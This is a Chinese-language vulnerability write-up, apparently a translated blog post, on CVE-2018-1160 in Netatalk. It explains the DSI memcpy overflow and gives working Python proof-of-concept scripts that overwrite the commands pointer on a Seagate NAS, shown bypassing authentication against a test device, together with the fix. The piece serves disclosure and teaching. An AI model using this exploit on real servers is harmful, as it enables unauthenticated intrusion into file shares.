Netatalk緩衝區溢出漏洞的發現與利用
概述
最近,我發現並報告了一個Netatalk緩衝區溢出漏洞(CVE-2018-1160),這個漏洞非常古老,允許遠程未經身份驗證的攻擊者覆蓋某些結構數據。利用該漏洞,我成功繞過身份驗證,並獲得對AFP卷的完全控制。本文將主要分析我們是如何發現並利用這個漏洞的。
漏洞利用視頻:https://youtu.be/SCGzlz4DJLg
關於Netatalk
Netatalk是蘋果歸檔協議(Apple Filing Protocol,AFP)的一種實現。該項目自身非常古老,在Sourceforge的第一次導入最早可以追溯到2000年,但該項目的實際年齡比這還要更長。從main.c中,我們可以看到相應的注釋:
/*
* Copyright 1990,1993 Regents of The University of Michigan.
* All Rights Reserved. See COPYRIGHT.
*/
如今,Netatalk已經不再像以前那樣受歡迎,其他的一些網路文件共享協議已經超過了AFP(例如SMB)。但是,我們仍然看到Netatalk在Sourceforge中具有非常多的下載量,它在許多Linux發行版本的官方存儲庫中都有一個軟體包。我也在很多路由器和NAS上都發現了Netatalk,因此該協議仍然存在於我們周圍。
我想說的是,假如Shodan可以搜索AFP,你一定會發現十億台Netatalk伺服器,但實際上Shodan沒有這個功能。不過,請大家相信我,真的有這麼多用戶。
漏洞概述
自從2000年最初引入Sourceforge以來,Netatalk的漏洞一直就沒有引起充分的重視。
這個錯誤其實非常簡單,以下是Netatalk 3.1.11版本中的代碼:
/* parse options */
while (i cmdlen) {
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1,
dsi->commands[i]);
dsi->attn_quantum = ntohl(dsi->attn_quantum);
case DSIOPT_SERVQUANT: /* just ignore these */
default:
i += dsi->commands[i] + 1; /*forward past length tag + length */
break;
}
}
大家可能看得還不是很明顯。那麼我來強調一個前提,如果說dsi->attn_quantum這個4位元組整數和dsi->commands是由攻擊者控制的,那麼大家應該就一目了然了。
接下來,我們分析memcpy。攻擊者控制的兩個參數負責將數據複製到整型變數中。攻擊者控制源(dsi->commands + i + 1)和大小(dsi->commands[i])。由於dsi->commands是char數組,因此size參數的最大值限制為255。
在開始尋找「AAAAAAAAAAAAAAAAAAAAAAAA」之前,我們首先檢查實際上可以覆蓋的內容。以下代碼來自include/libatalk/dsi.h:
#define DSI_DATASIZ 65536
/* child and parent processes might interpret a couple of these
* differently. */
typedef struct DSI {
struct DSI *next; /* multiple listening addresses */
AFPObj *AFPobj;
int statuslen;
char status[1400];
char *signature;
struct dsi_block header;
struct sockaddr_storage server, client;
struct itimerval timer;
int tickle; /* tickle count */
int in_write;
int msg_request; /* pending message to the client */
int down_request; /* pending SIGUSR1 down in 5 mn */
uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */
size_t datalen, cmdlen;
...
由於數據陣列中存在大量「黑洞」,因此我們只能覆蓋datasize、server_quantum、serverID、clientID、命令指針以及部分數據。
污點分析
人們總是想要知道我是如何發現這個漏洞的。他們總是想聽到「污點分析」(Taint Analysis)這個詞。當他們聽到「中間語言」時,可能會嘆氣。人們希望能看到種子語料庫,並希望能聽到前沿研究的內容。
我在從奧斯汀飛往費城的3個小時航班上發現了這個漏洞。當時,我剛開完一個會議,準備飛回家,路途上網路不是太好,我沒有什麼可以做的。因此,我在筆記本電腦上安裝了Netatalk源,嘗試繞過NAS項目。一開始,我從閱讀main源代碼起步。
PoC
該漏洞具有一個獨特的特點,其中一個被覆蓋的變數server_quantum會被反射到攻擊者那裡。經過分析,下面代碼將向伺服器發送一個格式正確的DSI Open Session請求。
import socket
import struct
import sys
if len(sys.argv) != 3:
sys.exit(0)
ip = sys.argv[1]
port = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
sock.connect((ip, port))
dsi_opensession = "x01" # attention quantum option
dsi_opensession += "x04" # length
dsi_opensession += "x00x00x40x00" # client quantum
dsi_header = "x00" # "request" flag
dsi_header += "x04" # open session command
dsi_header += "x00x01" # request id
dsi_header += "x00x00x00x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "x00x00x00x00" # reserved
dsi_header += dsi_opensession
sock.sendall(dsi_header)
try:
resp = sock.recv(1024)
print "[+] Fin."
except:
print "[-] No response!"
伺服器響應中,包含最初在配置文件中定義的「quantum」值。在WireShark抓取的數據包中,我們可以看到「quantum」值為0x100000或1048576。
我們只需要覆蓋那個值。通過更新dsi_opensession Payload,可以提供超出整數範圍的寫入長度(0x0c)。
dsi_opensession = "x01" # attention quantum option
dsi_opensession += "x0c" # length (/)o,,o(/)
dsi_opensession += "x00x00x40x00" # client quantum
dsi_opensession += "x00x00x00x00" # overwrites datasize
dsi_opensession += struct.pack("I", 0xdeadbeef) # overwrites server_quantum
現在,響應中將顯示0xdeadbeef,這是伺服器的「quantum」值。
命令指針的生命周期
我們想要執行控制,就必須找到一個突破點。在可以覆蓋的五個變數中,只有命令似乎可行。
再將新連接分叉到自己的進程後不久,命令指針的生命周期就開始了。在初始化dsi結構時,會分配一系列堆內存,並將其分配給命令。在Netatalk的AFP函數處理之前,每個傳入的AFP消息都會寫入命令指針。直到連接結束後、進程退出前,命令存儲器才會被釋放。
命令將根據在etc/afpd/switch.c中定義的名為afp_switch的全局跳轉表指針(Global Jump Table Pointer)傳遞到系統。afp_switch指向包含255個條目的跳轉表。其中的每個條目,都是NULL(未實現),或者是在命令中處理AFP數據的函數。
afp_switch指向跳轉表的兩個版本之一。其中,第一個跳轉表是preauth_switch,它只包含未經身份驗證的用戶可以調用的四個函數,這是默認的afp_switch表。第二個跳轉表是postauth_switch,在用戶進行身份驗證後,它會被交換到afp_switch。
以下是從etc/afpd/afp_dsi.c調用跳轉表函數的簡化後邏輯:
function = (u_char) dsi->commands[0];
if (afp_switch[function]) {
err = (*afp_switch[function])(obj,
(char *)dsi->commands, dsi->cmdlen,
(char *)&dsi->data, &dsi->datalen);
} else {
LOG(log_maxdebug, logtype_afpd, "bad function %X", function);
dsi->datalen = 0;
err = AFPERR_NOOP;
}
階段小結
在我看來,目前我們就已經有了一個「可以在任意地方寫入任意東西」的漏洞。後續的工作應該非常容易。只需按照以下四個簡單的步驟進行:
1、用我們選擇的地址覆蓋命令指針;
2、使用AFP數據包寫入該地址;
3、揮手;
4、執行控制。
接下來的問題就是,我們寫入到什麼地址上?這確實是一個困難的問題,我們可能無法回答這一問題。例如,在Ubuntu上,默認情況下啟用了ASLR,官方Netatalk軟體包已經編譯為與位置無關。我們預先不清楚任何地址。在這種情況下,我們就無法繼續前進。
但是,就算關上了門,總還是有窗。映入我們眼前的,是嵌入式系統。
在本文的後續部分,我將專註於特定的希捷(Seagate)NAS。在這裡,並不是說所有NAS都是不安全的。希捷只是出現了一點熟路:他們沒有將Netatalk編譯為與位置無關的可執行文件。這就是我們所需要的一切。
選准目標:preauth_switch
接下來,我們選擇使用preauth_switch地址來覆蓋命令指針,原因如下:
1、preauth_switch是一個大多為空的函數表。
2、客戶端通過AFP數據包來決定調用哪個preauth_switch函數。
3、客戶端不需要進行身份驗證,即可調用preauth_switch函數。
我們遇到的第一個挑戰,是找到preauth_switch地址。與postauth_switch不同,preauth_switch只有本地鏈接。這意味著,如果二進位文件被移除,那麼preauth_switch符號將會從符號表中被刪除。以下是兩個例子:
albinolobster@ubuntu:~$ readelf -s afpd.netgear | grep "auth_switch"
493: 00083d5c 1024 OBJECT GLOBAL DEFAULT 22 postauth_switch
176: 000166e8 596 FUNC LOCAL DEFAULT 11 set_auth_switch
798: 0008395c 1024 OBJECT LOCAL DEFAULT 22 preauth_switch
2572: 00083d5c 1024 OBJECT GLOBAL DEFAULT 22 postauth_switch
albinolobster@ubuntu:~$ readelf -s afpd.seagate | grep "auth_switch"
313: 000000000063ae40 2048 OBJECT GLOBAL DEFAULT 24 postauth_switch
albinolobster@ubuntu:~$
在我從Netgear設備中提取的二進位文件中,大家可以看到我們輕鬆提取到了preauth_switch地址(0x8395c)。但是,希捷的二進位文件被剝離了,因此我們需要更深入的查看。在這裡,打開我們最喜歡的反彙編工具,然後找到afp_switch。
我們現在可以看到,preauth_switch從0x63b660開始。
深入研究preauth_switch
我們在preauth_switch中寫了什麼?怎麼處理一個需要身份驗證的函數?接下來,我們將要嘗試如何控制執行流程並驗證身份驗證。一個不錯的目標是afp_getsrvrinfo。afp_getsrvinfo就像DSI GetStatus一樣,除了會經過身份驗證的AFP。
我們可以在postauth_switch的第16個條目中,找到afp_getsrvinfo。
要執行此計劃,我們需要更新腳本,從而使用preauth_switch地址(0x63b600)覆蓋命令指針。
dsi_payload = "x00x00x40x00" # client quantum
dsi_payload += "x00x00x00x00" # overwrites datasize
dsi_payload += struct.pack("I", 0xdeadbeef) # overwrite quantum
dsi_payload += struct.pack("I", 0xfeedface) # overwrite ids
dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr
dsi_opensession = "x01" # attention quantum option
dsi_opensession += struct.pack("B", len(dsi_payload)) # length
dsi_opensession += dsi_payload
在同一連接之後的每個後續AFP請求將被寫入0x63b660。因此,我們只需要確定要將afp_getsrvrinfo的地址寫入哪個表索引。我們知道,AFP消息的第一個位元組是命令,該命令用於執行表查找。
我們無法將afp_getsrvrinfo地址寫入表索引0,因為索引被命令位元組部分耗盡。但是,從表中第8個位元組開始的索引1是可以使用的。如果我們將afp_getsrvrinfo地址寫入索引1中,那麼就能夠通過將AFP請求命令位元組設置為1的方法來調用它。
但是,我們目前還不太清楚afp_getsrvrinfo的地址,接下來要解決這一問題。
最終,我們構造了會調用afp_getsvrinfo的AFP消息。dsi_header部分看起來幾乎和之前一樣,除了我們需要更新第二個位元組,以指示Payload是AFP命令。此外,我們需要增加請求ID。afp_command從1開始,然後進行填充,直到我們可以在表的第二個條目中寫入afp_getsvrinfo的地址。
afp_command = "x01" # invoke the second entry in the table
afp_command += "x00" # protocol defined padding
afp_command += "x00x00x00x00x00x00" # pad out the first entry
afp_command += struct.pack("Q", 0x4295f0) # address to jump to
dsi_header = "x00" # "request" flag
dsi_header += "x02" # "AFP" command
dsi_header += "x00x02" # request id
dsi_header += "x00x00x00x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += "x00x00x00x00" # reserved
dsi_header += afp_command
整個腳本最終的代碼如下:
import socket
import struct
import sys
if len(sys.argv) != 3:
sys.exit(0)
ip = sys.argv[1]
port = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
sock.connect((ip, port))
dsi_payload = "x00x00x40x00" # client quantum
dsi_payload += "x00x00x00x00" # overwrites datasize
dsi_payload += struct.pack("I", 0xdeadbeef) # overwrites quantum
dsi_payload += struct.pack("I", 0xfeedface) # overwrites the ids
dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr
dsi_opensession = "x01" # attention quantum option
dsi_opensession += struct.pack("B", len(dsi_payload)) # length
dsi_opensession += dsi_payload
dsi_header = "x00" # "request" flag
dsi_header += "x04" # open session command
dsi_header += "x00x01" # request id
dsi_header += "x00x00x00x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "x00x00x00x00" # reserved
dsi_header += dsi_opensession
sock.sendall(dsi_header)
resp = sock.recv(1024)
print "[+] Open Session complete"
afp_command = "x01" # invoke the second entry in the table
afp_command += "x00" # protocol defined padding
afp_command += "x00x00x00x00x00x00" # pad out the first entry
afp_command += struct.pack("Q", 0x4295f0) # address to jump to
dsi_header = "x00" # "request" flag
dsi_header += "x02" # "AFP" command
dsi_header += "x00x02" # request id
dsi_header += "x00x00x00x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += "x00x00x00x00" # reserved
dsi_header += afp_command
print "[+] Sending get server info request"
sock.sendall(dsi_header)
resp = sock.recv(1024)
print resp
print "[+] Fin."
接下來,我們要做的就是測試。
albinolobster@ubuntu:~$ python afp_srvrinfo.py 192.168.88.252 548
[+] Attempting connection to 192.168.88.252:548
[+] Open Session complete
[+] Sending get server info request
?,W??]
Netatalk3.1.8AFP2.2AFPX03AFP3.1AFP3.2AFP3.3AFP3.4No User AuthentDHX2 DHCAST128Cleartxt Passwrd???????@??@X4@@????r?"?@A@A@A@I$@UT?]t>??? @???@?@?????????????????????????????????????????????????????????????????????????@????????4???b8?eQ?x????5
Seagate-DP2
[+] Fin.
成功了!
什麼?你說無法呈現UTF-8字元這一點看起來不太成功?但其實你錯了,這就是成功後的樣子。這正是我們期望afp_getsvrinfo命令實現的。我們剛剛沒有實現解析過程。
請注意,在下面的截圖中,可以看到Wireshark認為我們正在執行afp_bytelock函數(postauth_switch表的條目1)。Wireshark也無法解析Payload,因為Payload並不是來自afp_bytelock。
要想完全實現漏洞利用,所要進行的工作比這更加複雜。我們需要為參數傳遞預留出空間,並實現AFP消息解析。但這一切都非常乏味。大家都知道,寫代碼並不好玩,但如果各位讀者有興趣,可以在我們的GitHub上找到完整的漏洞。
漏洞修復與補丁分析
Netatalk的開發人員發布了一個更大的補丁來修復這一漏洞。其中最主要的部分將在下面重點體現。實際上,要修復這一漏洞,只需要進行一次簡單的長度檢查即可。
case DSIOPT_ATTNQUANT:
- memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
+ if (option_len != sizeof(dsi->attn_quantum)) {
+ LOG(log_error, logtype_dsi, "option %"PRIu8" bad length: %zu",
+ cmd, option_len);
+ exit(EXITERR_CLNT);
+ }
+ memcpy(&dsi->attn_quantum, &dsi->commands[i], option_len);
我之前提到過,這個memcpy漏洞似乎在Netatalk引入Sourceforge就已經存在了。但是,我試圖在Netgear路由器上針對2.2.5版本(2013年發布)進行漏洞利用,但以失敗告終。事實證明,DSI的結構在Netatalk 3.0.1(2012年發布)中有所調整,但沒有向後移植到2.x版本中。這一調整允許我們覆蓋命令指針。
※通過.NET實現Gargoyle
※NodeJS應用程序身份驗證繞過漏洞分析
TAG:嘶吼RoarTalk |